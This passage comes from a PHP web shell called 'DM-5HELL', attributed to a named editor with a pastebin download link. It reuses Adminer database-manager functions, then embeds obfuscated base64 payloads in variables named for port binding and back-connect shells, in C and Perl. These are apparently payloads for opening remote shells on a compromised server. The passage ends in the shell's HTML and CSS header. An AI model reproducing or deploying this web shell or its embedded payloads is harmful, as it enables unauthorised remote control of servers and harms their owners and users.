- }elseif($r=="json"||preg_match('~^jsonb?$~',$o["type"]))
- echo "<textarea$Ia cols='50' rows='12' class='jush-js'>".h($Y).'</textarea>';
- else {
- $oe=(!preg_match('~int~',$o["type"])&&preg_match('~^(\\d+)(,(\\d+))?$~',$o["length"],$B)?((preg_match("~binary~",$o["type"])?2:1)*$B[1]+($B[3]?1:0)+($B[2]&&!$o["unsigned"]?1:0)):($Oh[$o["type"]]?$Oh[$o["type"]]+($o["unsigned"]?0:1):0));
- if($x=='sql'&&$g->server_info>=5.6&&preg_match('~time~',$o["type"]))
- $oe+=7;
- echo "<input type='text' ".((!$fd||$r==="")&&preg_match('~(?<!o)int~',$o["type"])&&!preg_match('~\[\]~',$o["full_type"])?" type='number'":"")." value='".h($Y)."'".($oe?" data-maxlength='$oe'":"").(preg_match('~char|binary~',$o["type"])&&$oe>20?" size='40'":"")."$Ia>";
- }
- }
- }
- function process_input($o) {
- global $b;
- $u=bracket_escape($o["field"]);
- $r=$_POST["function"][$u];
- $Y=$_POST["fields"][$u];
- if($o["type"]=="enum") {
- if($Y==-1)
- return false;
- if($Y=="")
- return "NULL";
- return +$Y;
- }
- if($o["auto_increment"]&&$Y=="")
- return null;
- if($r=="orig")
- return ($o["on_update"]=="CURRENT_TIMESTAMP"?idf_escape($o["field"]):false);
- if($r=="NULL")
- return "NULL";
- if($o["type"]=="set")
- return array_sum((array) $Y);
- if($r=="json") {
- $r="";
- $Y=json_decode($Y, true);
- if(!is_array($Y))
- return false;
- return $Y;
- }
- if(preg_match('~blob|bytea|raw|file~',$o["type"])&&ini_bool("file_uploads")) {
- $Hc=get_file("fields-$u");
- if(!is_string($Hc))
- return false;
- return q($Hc);
- }
- return $b->processInput($o,$Y,$r);
- }
- function fields_from_edit() {
- global $Vb;
- $J=array();
- foreach((array) $_POST["field_keys"] as $y=>$X) {
- if($X!="") {
- $X=bracket_escape($X);
- $_POST["function"][$X]=$_POST["field_funs"][$y];
- $_POST["fields"][$X]=$_POST["field_vals"][$y];
- }
- }
- foreach((array) $_POST["fields"] as $y=>$X) {
- $C=bracket_escape($y, 1);
- $J[$C]=array("field"=>$C,"privileges"=>array("insert"=>1,"update"=>1),"null"=>1,"auto_increment"=>($y==$Vb->primary));
- }
- return $J;
- }
- function search_tables() {
- global $b,$g;
- $_GET["where"][0]["op"]="LIKE %%";
- $_GET["where"][0]["val"]=$_POST["query"];
- $Tc=false;
- foreach(table_status('', true) as $R=>$S) {
- $C=$b->tableName($S);
- if(isset($S["Engine"])&&$C!=""&&(!$_POST["tables"]||in_array($R,$_POST["tables"]))) {
- $I=$g->query("SELECT".limit("1 FROM ".table($R), " WHERE ".implode(" AND ",$b->selectSearchProcess(fields($R), array())), 1));
- if(!$I||$I->fetch_row()) {
- if(!$Tc) {
- echo "<ul>\n";
- $Tc=true;
- }
- echo "<li>".($I?"<a href='".h(ME."select=".urlencode($R)."&where[0][op]=".urlencode($_GET["where"][0]["op"])."&where[0][val]=".urlencode($_GET["where"][0]["val"]))."'>$C</a>\n":"$C: <span class='error'>".error()."</span>\n");
- }
- }
- }
- echo ($Tc?"</ul>":"<p class='message'>".'No tables.')."\n";
- }
- function dump_headers($md,$ye=false) {
- global $b;
- $J=$b->dumpHeaders($md,$ye);
- $lf=$_POST["output"];
- if($lf!="text")
- header("Content-Disposition: attachment; filename=".$b->dumpFilename($md).".$J".($lf!="file"&&!preg_match('~[^0-9a-z]~',$lf)?".$lf":""));
- session_write_close();
- ob_flush();
- flush();
- return $J;
- }
- function dump_csv($K) {
- foreach($K as $y=>$X) {
- if(preg_match("~[\"\n,;\t]~",$X)||$X==="")
- $K[$y]='"'.str_replace('"','""',$X).'"';
- }
- echo implode(($_POST["format"]=="csv"?",":($_POST["format"]=="tsv"?"\t":";")),$K)."\r\n";
- }
- function apply_sql_function($r,$e) {
- return ($r?($r=="unixepoch"?"DATETIME($e, '$r')":($r=="count distinct"?"COUNT(DISTINCT ":strtoupper("$r("))."$e)"):$e);
- }
- function get_temp_dir() {
- $J=ini_get("upload_tmp_dir");
- if(!$J) {
- if(function_exists('sys_get_temp_dir'))
- $J=sys_get_temp_dir();
- else {
- $Ic=@tempnam("","");
- if(!$Ic)
- return false;
- $J=dirname($Ic);
- unlink($Ic);
- }
- }
- return $J;
- }
- function password_file($i) {
- $Ic=get_temp_dir()."/adminer.key";
- $J=@file_get_contents($Ic);
- if($J||!$i)
- return $J;
- $Vc=@fopen($Ic, "w");
- if($Vc) {
- chmod($Ic, 0660);
- $J=rand_string();
- fwrite($Vc,$J);
- fclose($Vc);
- }
- return $J;
- }
- function rand_string() {
- return md5(uniqid(mt_rand(), true));
- }
- function select_value($X,$_,$o,$rh) {
- global $b,$ba;
- if(is_array($X)) {
- $J="";
- foreach($X as $Id=>$W)
- $J.="<tr>".($X!=array_values($X)?"<td>".h($Id):"")."<td>".select_value($W,$_,$o,$rh);
- return "<table cellspacing='0' border='1'>$J</table>";
- }
- if(!$_)
- $_=$b->selectLink($X,$o);
- if($_===null) {
- if(is_mail($X))
- $_="mailto:$X";
- if($Pf=is_url($X))
- $_=(($Pf=="http"&&$ba)||preg_match('~WebKit|Firefox~i',$_SERVER["HTTP_USER_AGENT"])?$X:"https://www.adminer.org/redirect/?url=".urlencode($X));
- }
- $J=$b->editVal($X,$o);
- if($J!==null) {
- if($J==="")
- $J=" ";
- elseif(!is_utf8($J))
- $J="\0";
- elseif($rh!=""&&is_shortable($o))
- $J=shorten_utf8($J, max(0, +$rh));
- else
- $J=h($J);
- }
- return $b->selectVal($J,$_,$o,$X);
- }
- function is_mail($ic) {
- $Ga='[-a-z0-9!#$%&\'*+/=?^_`{|}~]';
- $Ub='[a-z0-9]([-a-z0-9]{0,61}[a-z0-9])';
- $yf="$Ga+(\\.$Ga+)*@($Ub?\\.)+$Ub";
- return is_string($ic)&&preg_match("(^$yf(,\\s*$yf)*\$)i",$ic);
- }
- function is_url($Q) {
- $Ub='[a-z0-9]([-a-z0-9]{0,61}[a-z0-9])';
- return (preg_match("~^(https?)://($Ub?\\.)+$Ub(:\\d+)?(/.*)?(\\?.*)?(#.*)?\$~i",$Q,$B)?strtolower($B[1]):"");
- }
- function is_shortable($o) {
- return preg_match('~char|text|lob|geometry|point|linestring|polygon|string|bytea~',$o["type"]);
- }
- function count_rows($R,$Z,$Cd,$ad) {
- global $x;
- $H=" FROM ".table($R).($Z?" WHERE ".implode(" AND ",$Z):"");
- return ($Cd&&($x=="sql"||count($ad)==1)?"SELECT COUNT(DISTINCT ".implode(",",$ad).")$H":"SELECT COUNT(*)".($Cd?" FROM (SELECT 1$H$bd) x":$H));
- }
- function slow_query($H) {
- global $b,$Ah;
- $m=$b->database();
- $th=$b->queryTimeout();
- if(support("kill")&&is_object($h=connect())&&($m==""||$h->select_db($m))) {
- $Nd=$h->result(connection_id());
- echo '<script type="text/javascript">var timeout = setTimeout(function () {ajax(\'', js_escape(ME), 'script=kill\', function () {}, \'token=',$Ah, '&kill=',$Nd, '\');}, ', 1000*$th, ');</script>';
- } else
- $h=null;
- ob_flush();
- flush();
- $J=@get_key_vals($H,$h,$th);
- if($h) {
- echo "<script type='text/javascript'>clearTimeout(timeout);</script>\n";
- ob_flush();
- flush();
- }
- return array_keys($J);
- }
- function get_token() {
- $Uf=rand(1, 1e6);
- return ($Uf^$_SESSION["token"]).":$Uf";
- }
- function verify_token() {
- list($Ah,$Uf)=explode(":",$_POST["token"]);
- return ($Uf^$_SESSION["token"])==$Ah;
- }
- function on_help($ob,$Hg=0) {
- return " onmouseover='helpMouseover(this, event, ".h($ob).",$Hg);' onmouseout='helpMouseout(this, event);'";
- }
- function edit_form($a,$p,$K,$Wh) {
- global $b,$x,$Ah,$n;
- $dh=$b->tableName(table_status1($a, true));
- page_header(($Wh?'Edit':'Insert'),$n, array("select"=>array($a,$dh)),$dh);
- if($K===false)
- echo "<p class='error'>".'No rows.'."\n";
- echo '<form action="" method="post" enctype="multipart/form-data" id="form">
- ';
- if(!$p)
- echo "<p class='error'>".'You have no privileges to update this table.'."\n";
- else {
- echo "<table cellspacing='0' border='1' onkeydown='return editingKeydown(event);'>\n";
- foreach($p as $C=>$o) {
- echo "<tr><td>".$b->fieldName($o);
- $Kb=$_GET["set"][bracket_escape($C)];
- if($Kb===null) {
- $Kb=$o["default"];
- if($o["type"]=="bit"&&preg_match("~^b'([01]*)'\$~",$Kb,$dg))
- $Kb=$dg[1];
- }
- $Y=($K!==null?($K[$C]!=""&&$x=="sql"&&preg_match("~enum|set~",$o["type"])?(is_array($K[$C])?array_sum($K[$C]):+$K[$C]):$K[$C]):(!$Wh&&$o["auto_increment"]?"":(isset($_GET["select"])?false:$Kb)));
- if(!$_POST["save"]&&is_string($Y))
- $Y=$b->editVal($Y,$o);
- $r=($_POST["save"]?(string) $_POST["function"][$C]:($Wh&&$o["on_update"]=="CURRENT_TIMESTAMP"?"now":($Y===false?null:($Y!==null?'':'NULL'))));
- if(preg_match("~time~",$o["type"])&&$Y=="CURRENT_TIMESTAMP") {
- $Y="";
- $r="now";
- }
- input($o,$Y,$r);
- echo "\n";
- }
- if(!support("table"))
- echo "<tr>"."<td><input type='text' name='field_keys[]' onkeyup='keyupChange.call(this);' onchange='fieldChange(this);' value=''>"."<td class='function'>".html_select("field_funs[]",$b->editFunctions(array(
- "null"=>isset($_GET["select"])
- )))."<td><input type='text' name='field_vals[]'>"."\n";
- echo "</table>\n";
- }
- echo "<p>\n";
- if($p) {
- echo "<input type='submit' value='".'Save'."'>\n";
- if(!isset($_GET["select"]))
- echo "<input type='submit' name='insert' value='".($Wh?'Save and continue edit'."' onclick='return !ajaxForm(this.form, \"".'Saving'.'...",this)':'Save and insert next')."' title='Ctrl+Shift+Enter'>\n";
- }
- echo ($Wh?"<input type='submit' name='delete' value='".'Delete'."'".confirm().">\n":($_POST||!$p?"":"<script type='text/javascript'>focus(document.getElementById('form').getElementsByTagName('td')[1].firstChild);</script>\n"));
- if(isset($_GET["select"]))
- hidden_fields(array("check"=>(array) $_POST["check"],"clone"=>$_POST["clone"],"all"=>$_POST["all"]));
- echo '<input type="hidden" name="referer" value="', h(isset($_POST["referer"])?$_POST["referer"]:$_SERVER["HTTP_REFERER"]), '">
- <input type="hidden" name="save" value="1">
- <input type="hidden" name="token" value="',$Ah, '">
- </form>';
- }
- //end function phpmyadmin
- function highlight_num($a){
- $b=implode(range(0,count(file($a))),'<br />');
- $c=highlight_file($a,true);
- echo "<table><tr><td class=\"num\">\n$b\n</td><td>\n$c\n</td></tr></table>";
- }
- $port_bind_bd_c="bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jvf +fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa+pRCWtgmQrJE P/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41ZZ dKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6VL 3TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVKug Uq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpXk HDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J4W tyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsUL ZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYuk6 uPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf";
- $port_bind_bd_pl="ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr1 NmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzfwg tNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQkD e/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM0 LSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRrVo vaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjGB +hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8=";
- $back_connect="fZFRS8MwFIXfB/sPWSw2hUrnqyPC0CpD3KStvqh0XRpcsE1KkoKF/XiTtCIV6tu55+Z89yY5W0St ktGB8aihsprPWkVBKsgn1av5zCN1iQGsOv4Fbak6pWmNgU/JUQC4b3lRU3BR7OFqcFhptMOpo28j S2whVulCflCNvXVy//K6fLdWI+SPcekMVpSlxIxTnRdacDSEAnA6gZJRBGMphbwC3uKNw8AhXEKZ ja3ImclYagh61n9JKbTAhu7EobN3Qb4mjW/byr0BSnc3D3EWgqe7fLO1whp5miXx+tHMcNHpGURw Tskvpd92+rxoKEdpdrvZhgBen/exUWf3nE214iT52+r/Cw3/5jaqhKL9iFFpuKPawILVNw==";
- $back_connect_c="XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29rWhyEzc+Z2TjpSserA BYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl95/3Wa43fpotyCABR95 zzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vKC1rI6wgSmN/niYb75 i+21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVCnim7a/ZuJC0JTwf3A RkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlxiuPB3E0/gXejiHMcY jwcYguIAe2GMNijZ9jL4GYqTSB9AvEmHGjk/m19h1CGvPoHIY5A1Oh2tE3XIe1bxKw77YTyt6T2F 6f9wGEPxJliFkv5Oqr4tE5LYEnoyIfDwdHcXK1ilrfAdUbPPLw==";
- $svg_hover='data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48c3ZnIHdpZHRoPSIyMHB4IiBoZWlnaHQ9IjIwcHgiIGZpbGw9IiNmZmYiIHZpZXdCb3g9IjAgMCAzMCAzMCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJtMTMgMWMtMy4zMDkgMC02IDIuNjkxLTYgNiAwIDEuNzcxIDAuNzc2IDMuMzYwOSAyIDQuNDYwOXYtNC40NjA5YzAtMi4yMDYgMS43OTQtNCA0LTRzNCAxLjc5NCA0IDR2NC40NjA5YzEuMjI0LTEuMDk5IDItMi42ODg5IDItNC40NjA5IDAtMy4zMDktMi42OTEtNi02LTZ6bS0wLjEyNSA0LjAwMzljLTEuMDQ2NyAwLjA2NDU1OS0xLjg3NSAwLjkzMjk3LTEuODc1IDEuOTk2MXYxNWMtMi41NTItMS4yOTktMy41OTUtMi01Ljc5My0yLTEgMC0yLjIwNyAwLjQ0MzI3LTIuMjA3IDEuNTcyM3YwLjQyNzczbDUgMyAzLjM1NzQgMi42ODU1YzEuMDY0IDAuODUxIDIuMzg1IDEuMzE0NSAzLjc0OCAxLjMxNDVoNi44OTQ1YzIuMjA5IDAgNC0xLjc5MSA0LTR2LTItNS41YzAtMC43OTEtMC42MTcyLTEuNDcyLTEuNDA4Mi0xLjQ5OC0wLjQyLTAuMDE0LTAuNzI5OTggMC4wNjg0MDYtMC45NTg5OCAwLjE5MTQxLTAuMzU4IDAuMTkyLTAuODAyNTggMC4wMjk1NDctMS4wMTc2LTAuMzE0NDUtMC4yODUtMC40NTctMC43NzUyMy0wLjg3ODkxLTEuNjE1Mi0wLjg3ODkxLTAuNSAwLTAuODg1ODMgMC4xNDEzMS0xLjE3MzggMC4zMjAzMS0wLjM1NiAwLjIyMi0wLjgwNDc3IDAuMDY0MjY2LTEuMDA5OC0wLjMwMjczLTAuMjgzLTAuNTA5LTAuODE2NDEtMS4wMTc2LTEuODE2NC0xLjAxNzYtMC42MjEgMC0xLjA2NzkgMC4yMDQyMi0xLjM3ODkgMC40NDkyMi0wLjI1MiAwLjE5OC0wLjYyMTA5IDYuODdlLTQgLTAuNjIxMDktMC4zMjAzMXYtNy4wMjE1YzAtMC45OTYtMC42ODEwNi0xLjkyMDEtMS42NjQxLTIuMDgwMS0wLjE1NjYzLTAuMDI1Mzc1LTAuMzExNDEtMC4wMzI2Ni0wLjQ2MDk0LTAuMDIzNDM4eiIgZmlsbD0iIzBmMCIvPjwvc3ZnPg==';
- $svg='data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48c3ZnIHdpZHRoPSIyMHB4IiBoZWlnaHQ9IjIwcHgiIHZpZXdCb3g9IjAgMCA2NCA2NCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJtNTQuNjggMjlsLTQwLjUtMTYuMTAyYy0wLjM3MTA5LTAuMTQ4NDQtMC43OTY4OC0wLjA1ODU5NC0xLjA3ODEgMC4yMjI2Ni0wLjI4NTE2IDAuMjgxMjUtMC4zNzEwOSAwLjcwNzAzLTAuMjIyNjYgMS4wNzgxbDE2LjEyMSA0MC41YzAuMTQwNjIgMC4zNTU0NyAwLjQ3MjY2IDAuNTk3NjYgMC44NTE1NiAwLjYyODkxIDAuMzc4OTEgMC4wMzEyNSAwLjc0NjA5LTAuMTYwMTYgMC45Mzc1LTAuNDg4MjhsNi43MzA1LTExLjM5MWMwLjE1NjI1LTAuMjY1NjIgMC40Mjk2OS0wLjQ0NTMxIDAuNzM4MjgtMC40ODQzOCAwLjMwNDY5LTAuMDM5MDYzIDAuNjEzMjggMC4wNjY0MDYgMC44MzIwMyAwLjI4NTE2bDEzLjMwMSAxMy4zNGMwLjM3NSAwLjM3NSAwLjg4MjgxIDAuNTg1OTQgMS40MTQxIDAuNTg1OTRzMS4wMzkxLTAuMjEwOTQgMS40MTQxLTAuNTg1OTRsMS40MTAyLTEuNDEwMmMwLjM3NS0wLjM3NSAwLjU4NTk0LTAuODgyODEgMC41ODU5NC0xLjQxNDFzLTAuMjEwOTQtMS4wMzkxLTAuNTg1OTQtMS40MTQxbC0xMy4zNC0xMy4zNTJjLTAuMjE4NzUtMC4yMTg3NS0wLjMyNDIyLTAuNTI3MzQtMC4yODUxNi0wLjgzNTk0IDAuMDM5MDYzLTAuMzA0NjkgMC4yMTg3NS0wLjU3ODEyIDAuNDg0MzgtMC43MzQzOGwxMS4zMzItNi42Nzk3YzAuMzA0NjktMC4xOTkyMiAwLjQ3NjU2LTAuNTUwNzggMC40NDkyMi0wLjkxNzk3LTAuMDMxMjUtMC4zNjMyOC0wLjI1MzkxLTAuNjgzNTktMC41ODk4NC0wLjgzMjAzeiIgZmlsbD0iIzBmMCIvPjxwYXRoIGQ9Im0xNC4xMDIgMTcuMjdsMzggMTUuMDkgMi42OTkyLTEuNTg5OGMwLjMxNjQxLTAuMTk1MzEgMC41LTAuNTUwNzggMC40NzY1Ni0wLjkyMTg4LTAuMDI3MzQ0LTAuMzcxMDktMC4yNTM5MS0wLjY5OTIyLTAuNTk3NjYtMC44NDc2NmwtNDAuNS0xNi4xMDJjLTAuMzcxMDktMC4xNDg0NC0wLjc5Njg4LTAuMDU4NTk0LTEuMDc4MSAwLjIyMjY2LTAuMjg1MTYgMC4yODEyNS0wLjM3MTA5IDAuNzA3MDMtMC4yMjI2NiAxLjA3ODF6IiBmaWxsPSIjMGYwIi8+PHBhdGggZD0ibTU2LjYyOSA1Mi4zNTJsLTEyLjEwOS0xMi4xMDJjLTAuNzQyMTkgMC40NTMxMi0xLjIzODMgMS4yMjI3LTEuMzM5OCAyLjA4OTgtMC4xMDE1NiAwLjg2MzI4IDAuMTk5MjIgMS43MjY2IDAuODIwMzEgMi4zMzk4bDExLjUzOSAxMS41OSAxLjA4OTgtMS4wODk4YzAuMzc1LTAuMzc1IDAuNTg1OTQtMC44ODI4MSAwLjU4NTk0LTEuNDE0MXMtMC4yMTA5NC0xLjAzOTEtMC41ODU5NC0xLjQxNDF6IiBmaWxsPSIjMGYwIi8+PHBhdGggZD0ibTU3LjM0IDUxLjY0MWwtMTMuMzQtMTMuMzMyIDExLjMyOC02LjY3OTdjMC42ODc1LTAuMzg2NzIgMS4wNzgxLTEuMTM2NyAxLjAwNzgtMS45MjE5LTAuMDcwMzEzLTAuNzgxMjUtMC41OTM3NS0xLjQ0OTItMS4zMzU5LTEuNzA3bC00MC40NDktMTZjLTAuNzQyMTktMC4yOTY4OC0xLjU5MzgtMC4xMjUtMi4xNjAyIDAuNDQxNDEtMC41NjI1IDAuNTY2NDEtMC43MzgyOCAxLjQxNDEtMC40NDE0MSAyLjE2MDJsMTYuMDUxIDQwLjQ2OWMwLjI4MTI1IDAuNzA3MDMgMC45NDE0MSAxLjE5NTMgMS43MDMxIDEuMjUzOSAwLjc2MTcyIDAuMDYyNSAxLjQ4ODMtMC4zMTY0MSAxLjg3NS0wLjk3MjY2bDYuNzYxNy0xMS4zNTIgMTMuMzQgMTMuMzAxYzEuMTcxOSAxLjE2OCAzLjA3MDMgMS4xNjggNC4yNDIyIDBsMS40MTgtMS40MTAyYzAuNTY2NDEtMC41NjI1IDAuODgyODEtMS4zMjgxIDAuODgyODEtMi4xMjVzLTAuMzE2NDEtMS41NjI1LTAuODgyODEtMi4xMjV6bS0xLjQxMDIgMi44MjgxbC0xLjQxOCAxLjQxMDJjLTAuMzkwNjIgMC4zOTA2Mi0xLjAyMzQgMC4zOTA2Mi0xLjQxMDIgMGwtMTMuMzUyLTEzLjM0Yy0wLjM4MjgxLTAuMzU1NDctMC44ODY3Mi0wLjU1MDc4LTEuNDEwMi0wLjUzOTA2aC0wLjI2MTcyYy0wLjYxNzE5IDAuMDg1OTM4LTEuMTYwMiAwLjQ1NzAzLTEuNDY4OCAxbC02LjczMDUgMTEuMzI4LTE2LjA3LTQwLjUgNDAuNSAxNi4wNy0xMS4zMDkgNi42Nzk3Yy0wLjUzNTE2IDAuMzE2NDEtMC44OTQ1MyAwLjg1OTM4LTAuOTcyNjYgMS40NzI3LTAuMDc4MTI1IDAuNjE3MTkgMC4xMzI4MSAxLjIzMDUgMC41NzQyMiAxLjY2OGwxMy4zMiAxMy4zNGMwLjM4NjcyIDAuMzkwNjIgMC4zODY3MiAxLjAxOTUgMCAxLjQxMDJ6IiBmaWxsPSIjMGZmIi8+PHBhdGggZD0ibTQ0IDMwLjEwOWMwLjQ4MDQ3IDAgMC44OTQ1My0wLjMzOTg0IDAuOTg0MzgtMC44MTI1IDAuMDg5ODQ0LTAuNDY4NzUtMC4xNjc5Ny0wLjk0MTQxLTAuNjEzMjgtMS4xMTcybC0xNC42OTktNS44MjgxYy0wLjUxNTYyLTAuMjA3MDMtMS4wOTc3IDAuMDQyOTY4LTEuMzAwOCAwLjU1ODU5LTAuMjA3MDMgMC41MTE3MiAwLjA0Njg3NSAxLjA5MzggMC41NTg1OSAxLjMwMDhsMTQuNjYgNS43ODkxYzAuMTI4OTEgMC4wNjY0MDYgMC4yNjU2MiAwLjEwMTU2IDAuNDEwMTYgMC4xMDkzOHoiIGZpbGw9IiMwZmYiLz48cGF0aCBkPSJtMjUuNTcgMjAuNzM4bC0zLjE0ODQtMS4yNWMtMC41MTU2Mi0wLjIwMzEyLTEuMDk3NyAwLjA0Njg3NS0xLjMwMDggMC41NjI1LTAuMjA3MDMgMC41MTE3MiAwLjA0Njg3NSAxLjA5MzggMC41NTg1OSAxLjMwMDhsMy4xNDg0IDEuMjVjMC41MTU2MiAwLjIwMzEyIDEuMDk3Ny0wLjA0Njg3NSAxLjMwMDgtMC41NjI1IDAuMjA3MDMtMC41MTE3Mi0wLjA0Njg3NS0xLjA5MzgtMC41NTg1OS0xLjMwMDh6IiBmaWxsPSIjMGZmIi8+PHBhdGggZD0ibTggNi43MTg4Yy0wLjM5ODQ0LTAuMzM1OTQtMC45OTIxOS0wLjMwODU5LTEuMzU1NSAwLjA2MjUtMC4zNjcxOSAwLjM3MTA5LTAuMzg2NzIgMC45NjQ4NC0wLjA0Mjk2OCAxLjM1OTRsMS40NTcgMS40NjA5YzAuMzkwNjIgMC4zOTA2MiAxLjAyMzQgMC4zOTQ1MyAxLjQxOCAwLjAwMzkwNiAwLjM5MDYyLTAuMzkwNjIgMC4zOTQ1My0xLjAyMzQgMC4wMDM5MDYtMS40MTQxeiIgZmlsbD0iIzBmZiIvPjxwYXRoIGQ9Im0xNC4xNzIgOC4wNzAzYzAuNTUwNzggMCAxLTAuNDQ5MjIgMS0xdi0yLjA3MDNjMC0wLjU1MDc4LTAuNDQ5MjItMS0xLTEtMC41NTQ2OSAwLTEgMC40NDkyMi0xIDF2Mi4wNzAzYzAgMC41NTA3OCAwLjQ0NTMxIDEgMSAxeiIgZmlsbD0iIzBmZiIvPjxwYXRoIGQ9Im03Ljk0OTIgMTQuMjg5YzAtMC41NTA3OC0wLjQ0NTMxLTEtMS0xaC0yLjA3ODFjLTAuNTU0NjkgMC0xIDAuNDQ5MjItMSAxIDAgMC41NTQ2OSAwLjQ0NTMxIDEgMSAxaDIuMDc4MWMwLjU1NDY5IDAgMS0wLjQ0NTMxIDEtMXoiIGZpbGw9IiMwZmYiLz48cGF0aCBkPSJtOC4wNTg2IDE5bC0xLjQ1NyAxLjQ0OTJjLTAuMzA0NjkgMC4yMzgyOC0wLjQ0MTQxIDAuNjI4OTEtMC4zNTkzOCAxLjAwMzkgMC4wODU5MzcgMC4zNzUgMC4zNzUgMC42Njc5NyAwLjc1IDAuNzU3ODEgMC4zNzUgMC4wODU5MzcgMC43NjU2Mi0wLjA1MDc4MiAxLjAwNzgtMC4zNTE1NmwxLjQ4MDUtMS40NjA5YzAuMzM1OTQtMC4zOTg0NCAwLjMwODU5LTAuOTg4MjgtMC4wNjI1LTEuMzU1NS0wLjM3MTA5LTAuMzY3MTktMC45NjQ4NC0wLjM4NjcyLTEuMzU5NC0wLjA0Mjk2OXoiIGZpbGw9IiMwZmYiLz48cGF0aCBkPSJtMTkuNTU5IDkuODkwNmMwLjI2NTYyIDAgMC41MjM0NC0wLjEwMTU2IDAuNzEwOTQtMC4yODkwNmwxLjQ2ODgtMS40NzI3YzAuMzM5ODQtMC4zOTQ1MyAwLjMyMDMxLTAuOTg4MjgtMC4wNTA3ODEtMS4zNTU1LTAuMzcxMDktMC4zNzEwOS0wLjk2MDk0LTAuMzk0NTMtMS4zNTk0LTAuMDU0Njg4bC0xLjQ2ODggMS40NzI3Yy0wLjI4OTA2IDAuMjg1MTYtMC4zNzUgMC43MTg3NS0wLjIxODc1IDEuMDkzOHMwLjUyMzQ0IDAuNjE3MTkgMC45Mjk2OSAwLjYxMzI4eiIgZmlsbD0iIzBmZiIvPjwvc3ZnPg==';
- header('Content-type: text/html; charset=utf-8');
- ob_start();?>
- <!-- DM-5HELL Edited By Eddie Kidiw Downloads: https://pastebin.com/5S87iwwV -->
- <!DOCTYPE html>
- <html>
- <head>
- <title>..:: DM-5HELL ::..</title>
- <link rel="icon" href="https://2.bp.blogspot.com/-2nnyHHEhtLw/WdFD55i9UII/AAAAAAAABsA/9hyAovuIWOcubLbfnrjc3UYIZrkTLoukgCKgBGAs/s1600/vavicon.ico" type="image/x-icon">
- <script type="text/javascript">function tukar(e,n){document.getElementById(e).style.display="none",document.getElementById(n).style.display="block"}function blink(){for(var e=document.getElementsByTagName("kelip"),n=e.length-1;n>=0;n--){var t=e[n];t.style.visibility="visible"===t.style.visibility?"hidden":"visible"}window.setTimeout(blink,500)}document.addEventListener?document.addEventListener("DOMContentLoaded",blink,!1):window.addEventListener?window.addEventListener("load",blink,!1):window.attachEvent?window.attachEvent("onload",blink):window.onload=blink;</script>
- <style type="text/css">
- @font-face{font-family:monsters_attack;src:url(https://cdn.rawgit.com/EddieKidiw/Monsters-Attack-1937/b52a898e/monsters_attack_1937-webfont.eot);src:url(https://cdn.rawgit.com/EddieKidiw/Monsters-Attack-1937/b52a898e/monsters_attack_1937-webfont.eot?#iefix) format('embedded-opentype'),url(https://cdn.rawgit.com/EddieKidiw/Monsters-Attack-1937/b52a898e/monsters_attack_1937-webfont.woff2) format('woff2'),url(https://cdn.rawgit.com/EddieKidiw/Monsters-Attack-1937/b52a898e/monsters_attack_1937-webfont.woff) format('woff'),url(https://cdn.rawgit.com/EddieKidiw/Monsters-Attack-1937/b52a898e/monsters_attack_1937-webfont.ttf) format('truetype'),url(https://cdn.rawgit.com/EddieKidiw/Monsters-Attack-1937/master/monsters_attack_1937-webfont.svg#monsters_attackregular) format('svg');font-weight:400;font-style:normal}
